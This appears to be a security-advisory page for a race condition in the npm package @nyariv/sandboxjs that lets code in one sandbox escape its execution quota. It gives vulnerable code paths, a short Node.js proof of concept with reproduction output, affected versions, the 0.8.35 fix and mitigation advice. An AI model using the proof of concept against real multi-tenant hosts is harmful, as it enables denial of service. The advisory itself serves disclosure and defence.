SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timersGHSA-7p5m-xrh7-769r
Fix: nyariv/SandboxJS@cc8f20bGHSA-7p5m-xrh7-769r is a CWE-362 vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7p5m-xrh7-769r.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
Details
- Affected project: SandboxJS (owner: nyariv)
- Assumed checked-out version:
SandboxJS-0.8.34at/Users/zwique/Downloads/SandboxJS-0.8.34
Vulnerable code paths
-
/src/eval.ts—sandboxFunctionbindsticksusingticks || currentTicks.current:createFunction(..., ticks || currentTicks.current, { ...context, ... })Relevant lines: 44, 53, 164, 167.
-
/src/evaluator.ts//src/executor.ts— global ticks:export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };and
_execNoneRecurse(...) { currentTicks.current = ticks; ... }Relevant lines: ~1700, 1712.
-
sandboxedSetTimeoutcompiles string handlers at execution time, not at scheduling time, which letscurrentTicks.currentbe the wrong sandbox's ticks when compilation occurs.
Why This Is Vulnerable
currentTicks.currentis global mutable state shared across all sandbox instances.- Timer string handlers are compiled at the moment the timer fires and read
currentTicks.currentat that time. If another sandbox runs between scheduling and execution, it can replacecurrentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.
Proof of Concept
Run with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
Reproduction Steps
-
Place the PoC in
hi.jsand run:node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js -
Observe output similar to:
{ haltedA: false, doneA: true }This indicates the heavy loop completed and the quota was bypassed.
-
Remove the
sandboxB.compile('1+1')().run();line and rerun. Output should now be:{ haltedA: true }This indicates quota enforcement is working correctly.
Impact
- Type: Runtime guard bypass (execution-quota / watchdog bypass)
- Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
- Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
- Does not (as tested) lead to: Host object exposure or direct sandbox escape (no
process/requireleakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.35npm install @nyariv/sandboxjs@0.8.35 |
Affected Products
sandboxjsnyarivDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7p5m-xrh7-769r is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-7p5m-xrh7-769r in your dependencies?
Find it across npm, including transitive dependencies.